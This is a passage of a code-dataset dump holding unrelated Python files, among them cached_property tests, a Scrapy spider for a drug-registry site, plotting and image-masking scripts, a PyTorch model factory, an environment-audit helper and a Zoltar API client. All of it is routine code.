`cached-property` module.\n\"\"\"\n\nfrom time import sleep\nfrom threading import Lock, Thread\nimport unittest\nfrom freezegun import freeze_time\n\nfrom cached_property import cached_property\n\n\nclass TestCachedProperty(unittest.TestCase):\n\n def test_cached_property(self):\n\n class Check(object):\n\n def __init__(self):\n self.total1 = 0\n self.total2 = 0\n\n @property\n def add_control(self):\n self.total1 += 1\n return self.total1\n\n @cached_property\n def add_cached(self):\n self.total2 += 1\n return self.total2\n\n c = Check()\n\n # The control shows that we can continue to add 1.\n self.assertEqual(c.add_control, 1)\n self.assertEqual(c.add_control, 2)\n\n # The cached version demonstrates how nothing new is added\n self.assertEqual(c.add_cached, 1)\n self.assertEqual(c.add_cached, 1)\n\n # Cannot expire the cache.\n with freeze_time(\"9999-01-01\"):\n self.assertEqual(c.add_cached, 1)\n\n # It's customary for descriptors to return themselves if accessed\n # though the class, rather than through an instance.\n self.assertTrue(isinstance(Check.add_cached, cached_property))\n\n def test_reset_cached_property(self):\n\n class Check(object):\n\n def __init__(self):\n self.total = 0\n\n @cached_property\n def add_cached(self):\n self.total += 1\n return self.total\n\n c = Check()\n\n # Run standard cache assertion\n self.assertEqual(c.add_cached, 1)\n self.assertEqual(c.add_cached, 1)\n\n # Reset the cache.\n del c._cache['add_cached']\n self.assertEqual(c.add_cached, 2)\n self.assertEqual(c.add_cached, 2)\n\n def test_none_cached_property(self):\n\n class Check(object):\n\n def __init__(self):\n self.total = None\n\n @cached_property\n def add_cached(self):\n return self.total\n\n c = Check()\n\n # Run standard cache assertion\n self.assertEqual(c.add_cached, None)\n\n\nclass TestThreadingIssues(unittest.TestCase):\n\n def test_threads(self):\n \"\"\" How well does the standard cached_property implementation work with threads?\n Short answer: It doesn't! Use threaded_cached_property instead!\n \"\"\" # noqa\n\n class Check(object):\n\n def __init__(self):\n self.total = 0\n self.lock = Lock()\n\n @cached_property\n def add_cached(self):\n sleep(1)\n # Need to guard this since += isn't atomic.\n with self.lock:\n self.total += 1\n return self.total\n\n c = Check()\n threads = []\n num_threads = 10\n for x in range(num_threads):\n thread = Thread(target=lambda: c.add_cached)\n thread.start()\n threads.append(thread)\n\n for thread in threads:\n thread.join()\n\n # Threads means that caching is bypassed.\n self.assertNotEqual(c.add_cached, 1)\n\n # This assertion hinges on the fact the system executing the test can\n # spawn and start running num_threads threads within the sleep period\n # (defined in the Check class as 1 second). If num_threads were to be\n # massively increased (try 10000), the actual value returned would be\n # between 1 and num_threads, depending on thread scheduling and\n # preemption.\n self.assertEqual(c.add_cached, num_threads)\n\n\nclass TestCachedPropertyWithTTL(unittest.TestCase):\n\n def test_ttl_expiry(self):\n\n class Check(object):\n\n def __init__(self):\n self.total = 0\n\n @cached_property(ttl=100000)\n def add_cached(self):\n self.total += 1\n return self.total\n\n c = Check()\n\n # Run standard cache assertion\n self.assertEqual(c.add_cached, 1)\n self.assertEqual(c.add_cached, 1)\n\n # Expire the cache.\n with freeze_time(\"9999-01-01\"):\n self.assertEqual(c.add_cached, 2)\n self.assertEqual(c.add_cached, 2)\n","sub_path":"tests/test_cached_property.py","file_name":"test_cached_property.py","file_ext":"py","file_size_in_byte":4389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"566882328","text":"# -*- coding: utf-8 -*-\nimport csv\nimport json\nimport os\nimport re\n\nimport scrapy\nfrom urllib.parse import urlencode\n\nimport sys\n\nfrom scrapy.http import Response\n\nfrom ..items import CfdaItem\n\n\nclass CdfacrawlerSpider(scrapy.Spider):\n name = 'cdfacrawler'\n allowed_domains = ['appcfda.drugwebcn.com']\n start_urls = ['http://appcfda.drugwebcn.com/']\n\n def __init__(self):\n self.pagenum = 33177\n self.current = 0\n self.page_args = {\n 'tableId': 41,\n 'searchF': 'Quick Search',\n 'searchK': '',\n 'pageSize': 15\n }\n self.errorpage = []\n\n def start_requests(self):\n for i in range(0,self.pagenum):\n self.current = i+1\n self.page_args['pageIndex'] = self.current\n args = urlencode(self.page_args)\n yield scrapy.Request(url='http://appcfda.drugwebcn.com/datasearch/QueryList?'+args, callback=self.parse,meta={'page':self.current})\n\n def parse(self, response: Response):\n try:\n datas = json.loads(response.body)\n pattern = '\\.(?P.*)\\s\\((?P.*)\\)'\n for data in datas:\n\n item = CfdaItem()\n item['id'] = data.get(\"ID\")\n content = data.get('CONTENT') #type:str\n item['content'] = content\n try:\n r = re.search(pattern,content)\n item['name'] = r.group('name')\n item['license'] = r.group('license')\n except Exception:\n pass\n finally:\n yield item\n except Exception as e:\n self.errorpage.append(response.meta['page'])\n\n\n def close(spider, reason):\n errorpages = spider.errorpage\n with open('/Users/wangshaohu/Desktop/cdfaerror.csv','w') as f:\n writer = csv.writer(f)\n writer.writerows(errorpages)","sub_path":"cfda/cfda/spiders/cdfacrawler.py","file_name":"cdfacrawler.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"414873355","text":"import pdb\nimport numpy as np\nimport pickle\nimport datetime, json, os, argparse\n\nimport envs\nimport pyInfoGathering as IGL\n\nparser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nparser.add_argument('--seed', help='RNG seed', type=int, default=0)\nparser.add_argument('--render', help='render', type=int, default=0)\nparser.add_argument('--record', help='record', type=int, default=0)\nparser.add_argument('--map', type=str, default=\"empty\")\nparser.add_argument('--env', help='environment ID', default='TargetTracking-info0')\nparser.add_argument('--ros', type=int, default=0)\nparser.add_argument('--log_dir', type=str, default='.')\nparser.add_argument('--nb_targets', type=int, default=1)\nparser.add_argument('--repeat', type=int, default=1)\n\nargs = parser.parse_args()\n\nif __name__ == \"__main__\":\n # Initialize Planner\n n_controls = 5\n T = 12\n delta = 3\n eps = np.infty\n arvi_time = 1\n range_limit = np.infty\n debug = 1\n directory = os.path.join(args.log_dir, '_'.join([args.env, datetime.datetime.now().strftime(\"%m%d%H%M\")]))\n if not os.path.exists(directory):\n os.makedirs(directory)\n else:\n ValueError(\"The directory already exists...\", directory)\n json.dump(vars(args), open(os.path.join(directory, 'learning_prop.json'), 'w'))\n\n env = envs.make(args.env, \n render = bool(args.render), \n record = bool(args.record), \n ros = bool(args.ros), \n dirname=directory, \n map_name=args.map,\n num_targets=args.nb_targets,\n is_training=False\n )\n timelimit_env = env\n while( not hasattr(timelimit_env, '_elapsed_steps')):\n timelimit_env = timelimit_env.env \n\n ep_nlogdetdov = []\n for episode in range(args.repeat):\n planner = IGL.InfoPlanner()\n np.random.seed(args.seed + episode)\n \n # Save Planner Output\n plannerOutputs = [0] * 1\n\n # Main Loop\n nlogdetcov = []\n done = False\n obs = env.reset()\n t = 0\n while(not done):\n print('Timestep ', t)\n\n # Plan for individual Robots (Every n_controls steps)\n if t % n_controls == 0:\n plannerOutputs[0] = planner.planARVI(timelimit_env.env.agent.agent, T, delta, eps, arvi_time, debug, 0)\n\n # Apply Control\n obs, reward, done, info = env.step(plannerOutputs[0].action_idx[-1])\n if args.render:\n env.render()\n nlogdetcov.append(info['test_reward'])\n # Pop off last Action manually (UGLY)\n plannerOutputs[0].action_idx = plannerOutputs[0].action_idx[:-1]\n t += 1\n obs = env.reset()\n ep_nlogdetdov.append(np.sum(nlogdetcov))\n print(\"Ep.%d Cumulative Rewards = %.2f\"%(episode, ep_nlogdetdov[-1]))\n\n if args.repeat > 1:\n f = open(os.path.join(directory,'reward_batch_%d'%args.repeat + '.pkl'),'wb')\n pickle.dump(ep_nlogdetdov, f)\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"python/ray/rllib/RL/DeepADFQ/run_anytime_planner.py","file_name":"run_anytime_planner.py","file_ext":"py","file_size_in_byte":3092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"443898244","text":"#!/usr/bin/env python3\n\nimport finplot as fplt\nimport pandas as pd\nimport requests\nfrom io import StringIO\nfrom time import time\n\n\n# load data and convert date\nend_t = int(time()) \nstart_t = end_t - 12*30*24*60*60 # twelve months\nsymbol = 'SPY'\ninterval = '1d'\nurl = 'https://query1.finance.yahoo.com/v7/finance/download/%s?period1=%s&period2=%s&interval=%s&events=history' % (symbol, start_t, end_t, interval)\nr = requests.get(url)\ndf = pd.read_csv(StringIO(r.text))\ndf['Date'] = pd.to_datetime(df['Date'])\n\n# plot candles\nax,ax2 = fplt.create_plot('S&P 500 MACD', rows=2)\nfplt.candlestick_ochl(df[['Date','Open','Close','High','Low']], ax=ax)\naxo = ax.overlay()\nfplt.volume_ocv(df[['Date','Open','Close','Volume']], ax=axo)\nfplt.plot(df.Volume.ewm(span=24).mean(), ax=axo, color=1)\n\n# plot macd\nmacd = df.Close.ewm(span=12).mean() - df.Close.ewm(span=26).mean()\nsignal = macd.ewm(span=9).mean()\ndf['macd_diff'] = macd - signal\nfplt.volume_ocv(df[['Date','Open','Close','macd_diff']], ax=ax2, colorfunc=fplt.strength_colorfilter)\nfplt.plot(macd, ax=ax2, legend='MACD')\nfplt.plot(signal, ax=ax2, legend='Signal')\n\nfplt.show()\n","sub_path":"finplot/example-snp500.py","file_name":"example-snp500.py","file_ext":"py","file_size_in_byte":1126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"450071777","text":"#!/usr/bin/env python3\n\n#from aws_cdk import core as cdk\n\n# For consistency with TypeScript code, `cdk` is the preferred import name for\n# the CDK's core module. The following line also imports it as `core` for use\n# with examples from the CDK Developer's Guide, which are in the process of\n# being updated to use `cdk`. You may delete this import if you don't need it.\nfrom aws_cdk import core\n\nfrom cdk.cdk_stack import CdkStack\nimport aws_cdk.aws_s3 as s3\n\nclass S3(core.Stack):\n def S3Stack(self):\n s3.Bucket(\n bucket_name=\"alphaiocloudskillstestbucket24032021\"\n )\n\n\napp = core.App()\nS3(app, \"cdk\")\n#CdkStack(app, \"CdkStack\")\n\napp.synth()\n","sub_path":"Week-2-Automation-and-Development/CDK/cdk/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"69215404","text":"# import modules for handling files\nimport csv\nfrom pathlib import Path\nfrom sys import argv\n\n# import third-party packages\nimport numpy as np\nimport tifffile as tiff\nfrom skimage import img_as_ubyte\nfrom skimage.morphology import binary_opening\n#from scipy.ndimage import generate_binary_structure\n\n# import utility functions\nfrom .utility import mask_cell\n\n# %%\ndef batch_mask(path, pattern='GFP', mask_channel=None,\n camera_bits=16, r=10, method='triangle', mask_open=True,\n save_values=False, save_summary=False, save_mask=False):\n \"\"\"\n Read all .tif images with a keyword and apply a 3D masking procedure\n based on a median-filtered image.\n\n Returns\n -------\n dict\n Key is the image name, value is a flat array of all intensities in the masked image.\n\n Parameters\n ----------\n\n path: str\n A path to folder with images to be processed. Must contain images in TIFF format.\n pattern: str, optional\n A pattern within filenames to be processed.\n mask_channel: str, optional\n If specified, the mask is created based on another image. \n Both images have to have the same name, except *mask_channel* is substituted for *pattern*.\n camera_bits: int, optional\n Ignore images with saturated pixels, based on the camera digitizer bit-depth.\n r: int, optional\n Radius for the median filtering function.\n method: str, optional\n Which thresholding method to use. See .utility.treshold().\n mask_open: bool, optional\n If True, perform a binary opening of the mask with the default selem (3D cross).\n save_values: bool, optional\n If True, write one .txt file per image with all pixel values.\n save_summary: bool, optional\n If True, write one .csv file per image with summary statistics (mean, median, sd).\n save_mask: bool, optional\n If True, save masks as 8-bit .tif files.\n \"\"\"\n # path handling through Pathlib: make output folder within current path\n path_in = Path(path)\n # initialise a dictionary to store results\n pixels = {}\n\n # output: prepare folder to keep masks\n if save_mask:\n path_out = path_in.joinpath('masks') # prepare output path\n path_out.mkdir(parents=True, exist_ok=True)\n \n # actual function: loop over each file with pattern, mask and convert to array\n for i in sorted(path_in.glob('*' + pattern + '*')):\n im = tiff.imread(str(i))\n \n # filter out saturated images\n if 2 ** camera_bits - 1 in im:\n continue\n\n # generate and apply mask\n if mask_channel:\n im_alt = tiff.imread(str(i).replace(pattern, mask_channel))\n im_mask = mask_cell(im_alt, radius=r, method=method)\n if mask_open:\n im_mask = binary_opening(im_mask)\n im_values = im[im_mask] # mask and select values\n else: \n im_mask = mask_cell(im, radius=r, method=method)\n if mask_open:\n im_mask = binary_opening(im_mask)\n im_values = im[im_mask] # mask and select values\n\n # add dictionary entry with name (no extension) and pixel values\n pixels[i.name.replace('.tif', '')] = im_values\n\n # output: save masks in a subfolder\n if save_mask:\n # substitute channel and / or annotate mask in filename\n if mask_channel:\n mask_out = path_out.joinpath(i.name.replace(\n pattern, mask_channel).replace('.tif', '_mask.tif'))\n else:\n mask_out = path_out.joinpath(\n i.name.replace('.tif', '_mask.tif'))\n tiff.imsave(mask_out, img_as_ubyte(im_mask))\n # very useful for assessing the algorithm but ultimately waste of space\n tiff.imsave(path_out.joinpath(i.name.replace('.tif', '_masked.tif')),\n im * im_mask)\n\n # output: save each dictionary entry as separate file in a subfolder\n if save_values:\n path_out = path_in.joinpath('masked_arrays') # prepare output path\n f = '%i' # not quite necessary but the default 18-digit precision means relatively huge files\n path_out.mkdir(parents=True, exist_ok=True)\n # save array\n for key, value in pixels.items():\n np.savetxt(str(path_out.joinpath(key))+'.txt', value, fmt=f)\n\n # output: save a csv file with mean intensity for each cell\n if save_summary:\n path_out = path_in.joinpath(\"summary.csv\")\n with path_out.open('w', newline='') as f: # initialize a csv file for writing\n # initialize csv writer and write headers\n writer = csv.writer(f, dialect='excel')\n writer.writerow(['cell', 'mean', 'median', 'sd'])\n for key, value in pixels.items():\n writer.writerow([key, round(np.mean(value), 3),\n np.median(value), round(np.std(value), 3)])\n\n # output: return dictionary of masked pixels\n return(pixels)\n\n\n# get the path from command line and run counting function\nif __name__ == \"__main__\": # only executed if ran as script\n path = argv[1]\n batch_mask(path, save_summary=True)\n","sub_path":"mkimage/mkimage/cell_values.py","file_name":"cell_values.py","file_ext":"py","file_size_in_byte":5213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"71410676","text":"import base64\nimport unittest\nfrom io import BytesIO\nfrom wordcloud import WordCloud\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom os import path\n\nfrom PIL import Image\n\nfrom src.handler import evaluate\n\n\nclass WordCloudBaseTest(unittest.TestCase):\n\n @staticmethod\n def test_wordcloud():\n mask = Image.open(\"wordcloud_logo.png\")\n buf = BytesIO()\n mask.save(buf, format=\"png\")\n buf.seek(0)\n mask_b64 = base64.b64encode(buf.read()).decode('utf-8')\n\n with open('documentation.txt', 'rb') as file:\n text_bytes = BytesIO(file.read())\n text_b64 = base64.b64encode(text_bytes.read()).decode('utf-8')\n\n url = \"https://en.wikipedia.org/wiki/Artificial_intelligence\"\n response = evaluate({\"text\": text_b64,\n \"mask\": mask_b64,\n \"url\": url,\n \"config\": '{\"max_words\": 100, \"max_font_size\": 123, \"height\": 500, \"width\": 500}'},\n {})\n\n # show word cloud image\n image_input = base64.b64decode(response[\"image\"].encode('utf-8'))\n input_buf = BytesIO()\n input_buf.write(image_input)\n input_buf.seek(0)\n im = Image.open(input_buf)\n im.show()\n input_buf.close()\n im1 = im.save(\"wordcloud.jpg\")\n\n @staticmethod\n @unittest.skip(reason=\"currently not needed\")\n def test_wordcloud_mask_standalone():\n text = \"Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et \" \\\n \"justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, \" \\\n \"sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd \" \\\n \"gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.\"\n mask = np.array(Image.open(\"wordcloud_logo.png\"))\n\n wordcloud = WordCloud(background_color=\"white\", max_words=100, mask=mask).generate(text)\n plt.figure()\n plt.imshow(wordcloud, interpolation=\"bilinear\")\n plt.axis(\"off\")\n plt.show()\n\n if __name__ == '__main__':\n unittest.main()\n","sub_path":"src/tests/wordcloud_test.py","file_name":"wordcloud_test.py","file_ext":"py","file_size_in_byte":2454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"321239707","text":"\n\nfrom xai.brain.wordbase.nouns._pro import _PRO\n\n#calss header\nclass _PROS(_PRO, ):\n\tdef __init__(self,): \n\t\t_PRO.__init__(self)\n\t\tself.name = \"PROS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"pro\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_pros.py","file_name":"_pros.py","file_ext":"py","file_size_in_byte":217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"273667645","text":"class Node:\n def __init__(self, v, l=None, r=None):\n self.left = l\n self.right = r\n self.val = v\n\ndef dfs_iter(root):\n current = root\n s = []\n while True:\n if current is not None:\n s.append(current)\n current = current.left\n else:\n if len(s) > 0:\n current = s.pop()\n print(current.val)\n current = current.right\n else:\n break\n\n\ndef dfs_recur(nd):\n if nd.left:\n dfs_recur(nd.left)\n print(' ', nd.val)\n if nd.right:\n dfs_recur(nd.right)\n\n\ninps = [Node(5, Node(3, Node(2), Node(4)), Node(7, None, Node(8)))]\n\nfor inp in inps:\n print(f\"Running iter: \")\n dfs_iter(inp)\n\n print(f\"Running recur: \")\n dfs_recur(inp)\n","sub_path":"python/data_structs_and_algos/dfs_iter.py","file_name":"dfs_iter.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"218343761","text":"import os\nimport torch\nimport torch.nn as nn\nfrom torch.optim import Adam\nfrom core.models import predict\nfrom utils.Loss import *\n\n\n\n\nclass Model(object):\n def __init__(self, configs):\n self.configs = configs\n self.num_hidden = [int(x) for x in configs.num_hidden.split(',')]\n self.num_layers = len(self.num_hidden)\n networks_map = {\n 'rst':predict.RST_LSTM,\n 'rst_h':predict.RST_LSTM_H,\n 'rst_m':predict.RST_LSTM_M,\n 'rst_x':predict.RST_LSTM_X,\n 'predrnn': predict.PredRNN,\n 'convlstm':predict.ConvLSTM,\n # 'gru':predict.ConvGRU,\n # 'trajgru':predict.TrajGRU,\n\n # 'rrst':predict.RRST_LSTM\n # 'rpnet_h':predict.RH_PNet,\n # 'rpnet_x':predict.RX_PNet,\n # 'rpnet_m':predict.RM_PNet,\n }\n\n if configs.model_name in networks_map:\n\n Network = networks_map[configs.model_name]\n # self.network = Network(self.num_layers, self.num_hidden, configs).to(configs.device)\n self.network = Network(self.num_layers, self.num_hidden, configs).cuda()\n else:\n raise ValueError('Name of network unknown %s' % configs.model_name)\n\n self.optimizer = Adam(self.network.parameters(), lr=configs.lr)\n self.MSE_criterion = nn.MSELoss(size_average=True)\n self.MAE_criterion = nn.L1Loss(size_average=True)\n self.SSIM_criterion = SSIM(size_average=True)\n\n def save(self,ite = None):\n stats = {}\n stats['net_param'] = self.network.state_dict()\n if ite == None:\n checkpoint_path = os.path.join(self.configs.save_dir, 'model.ckpt')\n else:\n checkpoint_path = os.path.join(self.configs.save_dir, 'model_'+str(ite)+'.ckpt')\n torch.save(stats, checkpoint_path)\n print(\"save model to %s\" % checkpoint_path)\n\n def load(self):\n checkpoint_path = os.path.join(self.configs.save_dir, 'model.ckpt')\n stats = torch.load(checkpoint_path)\n self.network.load_state_dict(stats['net_param'])\n print('model has been loaded in',checkpoint_path)\n\n def train(self, frames, mask):\n\n # frames_tensor = torch.FloatTensor(frames).to(self.configs.device)\n # mask_tensor = torch.FloatTensor(mask).to(self.configs.device)\n\n frames_tensor = torch.FloatTensor(frames).cuda()\n mask_tensor = torch.FloatTensor(mask).cuda()\n self.optimizer.zero_grad()\n next_frames = self.network(frames_tensor, mask_tensor)\n loss = self.MSE_criterion(next_frames, frames_tensor[:, 1:])\n # self.MAE_criterion(next_frames, frames_tensor[:, 1:])\n # 0.02*self.SSIM_criterion(next_frames, frames_tensor[:, 1:])\n loss.backward()\n self.optimizer.step()\n return loss.detach().cpu().numpy()\n\n def test(self, frames, mask):\n frames_tensor = torch.FloatTensor(frames).cuda()\n mask_tensor = torch.FloatTensor(mask).cuda()\n next_frames = self.network(frames_tensor, mask_tensor)\n loss = self.MSE_criterion(next_frames, frames_tensor[:, 1:])\n # self.MAE_criterion(next_frames,frames_tensor[:,1:])\n # + 0.02 * self.SSIM_criterion(next_frames, frames_tensor[:, 1:])\n\n return next_frames.detach().cpu().numpy(),loss.detach().cpu().numpy()","sub_path":"core/models/model_factory.py","file_name":"model_factory.py","file_ext":"py","file_size_in_byte":3361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"143030980","text":"import commands\nimport os\nimport logging\n\nfrom error import AuditError\nauditError = AuditError()\n# Import JSON\ntry:\n import json\nexcept ImportError:\n import simplejson as json\n\ndef env():\n COMMAND = '/usr/bin/env'\n return commands.getoutput(COMMAND)\n\ndef envToJson(stats):\n lines = str(stats).split(\"\\n\")\n env = {}\n for line in lines:\n env[line.split(\"=\")[0]] = line.split(\"=\")[1]\n return env\n\ndef main(path, C=None, name='env'):\n auditError.init(name, path)\n data = env()\n # Only valid with python > 2.5 ...... Dammit\n # with open('data.txt', 'w') as outfile:\n # json.dump(data, outfile)\n dataJson = open(os.path.join(path, name +'.json'), 'w')\n dataRaw = open(os.path.join(path, name +'.txt'), 'w')\n try:\n json.dump(envToJson(data), dataJson, indent=4)\n dataRaw.write(data)\n finally:\n dataJson.close()\n dataRaw.close()\n\nif __name__ == \"__main__\":\n main('.')\n","sub_path":"modules/env/env.py","file_name":"env.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"603294845","text":"\n\n#calss header\nclass _ROUTINE():\n\tdef __init__(self,): \n\t\tself.name = \"ROUTINE\"\n\t\tself.definitions = [u'a usual or fixed way of doing things: ', u'a regular series of movements, jokes, or similar things used in a performance: ', u'a part of a computer program that does a particular operation']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_routine.py","file_name":"_routine.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"421224568","text":"import math\nimport pylab\nimport numpy\n\n\ndef sinc(x):\n if x != 0:\n return math.sin(x) / x\n else:\n return 1\n\n\ndef plot_sinc():\n # Compute Xs using range or numpy.arange\n # Compute Ys using a loop\n # Call plot\n # Call show\n # remove the next line\n \n X = range(-10, 10)\n Y = []\n for each in X:\n Y.append(sinc(X))\n\nplot_sinc()\n","sub_path":"labs/lab2/plot_lab.py","file_name":"plot_lab.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"513679538","text":"from eemeter.config.yaml_parser import load\n\nfrom eemeter.meter import DataCollection\nfrom eemeter.models import BaseloadHeatingModelParameterType\n\nfrom numpy.testing import assert_allclose\nimport numpy as np\n\nRTOL = 1e-2\nATOL = 1e-2\n\nimport pytest\n\ndef test_cvrmse():\n meter_yaml = \"\"\"\n !obj:eemeter.meter.CVRMSE {\n input_mapping: { \"y\": {}, \"y_hat\": {}, \"params\": {}},\n output_mapping: { \"cvrmse\": {}}\n }\n \"\"\"\n meter = load(meter_yaml)\n\n data_collection = DataCollection(\n y=np.array([12,13,414,12,23,12,32,np.nan]),\n y_hat=np.array([32,12,322,21,22,41,32,np.nan]),\n params=BaseloadHeatingModelParameterType([1,3,4]))\n result = meter.evaluate(data_collection)\n\n assert_allclose(result.get_data(\"cvrmse\").value, 59.79,\n rtol=RTOL, atol=ATOL)\n\ndef test_rmse():\n meter_yaml = \"\"\"\n !obj:eemeter.meter.RMSE {\n input_mapping: { \"y\": {}, \"y_hat\": {} },\n output_mapping: { \"rmse\": {}}\n }\n \"\"\"\n meter = load(meter_yaml)\n\n data_collection = DataCollection(\n y=np.array([12,13,414,12,23,12,32,np.nan]),\n y_hat=np.array([32,12,322,21,22,41,32,np.nan]))\n result = meter.evaluate(data_collection)\n\n assert_allclose(result.get_data(\"rmse\").value, 34.97,\n rtol=RTOL, atol=ATOL)\n\ndef test_r_squared():\n meter_yaml = \"\"\"\n !obj:eemeter.meter.RSquared {\n input_mapping: { \"y\": {}, \"y_hat\": {}},\n output_mapping: { \"r_squared\": {}}\n }\n \"\"\"\n meter = load(meter_yaml)\n\n data_collection = DataCollection(\n y=np.array([12,13,414,12,23,12,32,np.nan]),\n y_hat=np.array([32,12,322,21,22,41,32,np.nan]))\n result = meter.evaluate(data_collection)\n\n assert_allclose(result.get_data(\"r_squared\").value, 0.9276,\n rtol=RTOL, atol=ATOL)\n","sub_path":"tests/test_meter_fitness.py","file_name":"test_meter_fitness.py","file_ext":"py","file_size_in_byte":1876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"554233287","text":"import csv\nimport datetime\nimport json\nimport logging\nimport tempfile\nfrom abc import ABC\n\nimport requests\n\nfrom zoltpy.cdc_io import YYYY_MM_DD_DATE_FORMAT, _parse_value\n\n\nlogger = logging.getLogger(__name__)\n\n\ndef _basic_str(obj):\n \"\"\"\n Handy for writing quick and dirty __str__() implementations.\n \"\"\"\n return obj.__class__.__name__ + ': ' + obj.__repr__()\n\n\nclass ZoltarConnection:\n \"\"\"\n Represents a connection to a Zoltar server. This is an object-oriented interface that may be best suited to zoltpy\n developers. See the `util` module for a name-based non-OOP interface.\n\n A note on URLs: We require a trailing slash ('/') on all URLs. The only exception is the host arg passed to this\n class's constructor. This convention matches Django REST framework one, which is what Zoltar is written in.\n\n Notes:\n - This implementation uses the simple approach of caching the JSON response for resource URLs, but doesn't\n automatically handle their becoming stale, hence the need to call ZoltarResource.refresh().\n \"\"\"\n\n\n def __init__(self, host='https://zoltardata.com'):\n \"\"\"\n :param host: URL of the Zoltar host. should *not* have a trailing '/'\n \"\"\"\n self.host = host\n self.username, self.password = None, None\n self.session = None\n\n\n def __repr__(self):\n return str((self.host, self.session))\n\n\n def __str__(self): # todo\n return _basic_str(self)\n\n\n def authenticate(self, username, password):\n self.username, self.password = username, password\n self.session = ZoltarSession(self)\n\n\n def re_authenticate_if_necessary(self):\n if self.session.is_token_expired():\n logger.debug(f\"re_authenticate_if_necessary(): re-authenticating expired token. host={self.host}\")\n self.authenticate(self.username, self.password)\n\n\n @property\n def projects(self):\n \"\"\"\n The entry point into ZoltarResources.\n\n Returns a list of Projects. NB: A property, but hits the API.\n \"\"\"\n projects_json_list = self.json_for_uri(self.host + '/api/projects/')\n return [Project(self, project_json['url'], project_json) for project_json in projects_json_list]\n\n\n def json_for_uri(self, uri, is_return_json=True, accept='application/json; indent=4'):\n logger.debug(f\"json_for_uri(): {uri!r}\")\n if not self.session:\n raise RuntimeError(\"json_for_uri(): no session. uri={uri}\")\n\n response = requests.get(uri, headers={'Accept': accept,\n 'Authorization': 'JWT {}'.format(self.session.token)})\n if response.status_code != 200: # HTTP_200_OK\n raise RuntimeError(f\"json_for_uri(): status code was not 200. uri={uri},\"\n f\"status_code={response.status_code}. text={response.text}\")\n\n return response.json() if is_return_json else response\n\n\nclass ZoltarSession: # internal use\n\n def __init__(self, zoltar_connection):\n super().__init__()\n self.zoltar_connection = zoltar_connection\n self.token = self._get_token()\n\n\n def _get_token(self):\n response = requests.post(self.zoltar_connection.host + '/api-token-auth/',\n {'username': self.zoltar_connection.username,\n 'password': self.zoltar_connection.password})\n if response.status_code != 200: # HTTP_200_OK\n raise RuntimeError(f\"get_token(): status code was not 200. status_code={response.status_code}. \"\n f\"text={response.text}\")\n\n return response.json()['token']\n\n\n def is_token_expired(self):\n \"\"\"\n :return: True if my token is expired, and False o/w\n \"\"\"\n # see zoltr: is_token_expired(), token_expiration_date()\n return True # todo fix!\n\n\nclass ZoltarResource(ABC):\n \"\"\"\n An abstract proxy for a Zoltar object at a particular URI including its JSON. All it does is cache JSON from a URI.\n Notes:\n\n - This class and its subclasses are not meant to be directly instantiated by users. Instead the user enters through\n ZoltarConnection.projects and then drills down.\n - Because the JSON is cached, it will become stale after the source object in the server changes, such as when a new\n model is created or a forecast uploaded. This it's the user's responsibility to call `refresh()` as needed.\n - Newly-created instances do *not* refresh by default, for efficiency.\n \"\"\"\n\n\n def __init__(self, zoltar_connection, uri, initial_json=None):\n \"\"\"\n :param zoltar_connection:\n :param uri:\n :param initial_json: optional param that's passed if caller already has JSON from server\n \"\"\"\n self.zoltar_connection = zoltar_connection\n self.uri = uri # *does* include trailing slash\n self._json = initial_json # cached JSON is None if not yet touched. can become stale\n # NB: no self.refresh() call!\n\n\n def __repr__(self):\n \"\"\"\n A default __repr__() that does not hit the API unless my _json has been cached, in which case my _repr_keys\n class var is used to determine which properties to return.\n \"\"\"\n repr_keys = getattr(self, '_repr_keys', None)\n repr_list = [self.__class__.__name__, self.uri, self.id]\n if repr_keys and self._json:\n repr_list.extend([self._json[repr_key] for repr_key in repr_keys\n if repr_key in self._json and self._json[repr_key]])\n return str(tuple(repr_list))\n\n\n @property\n def id(self): # 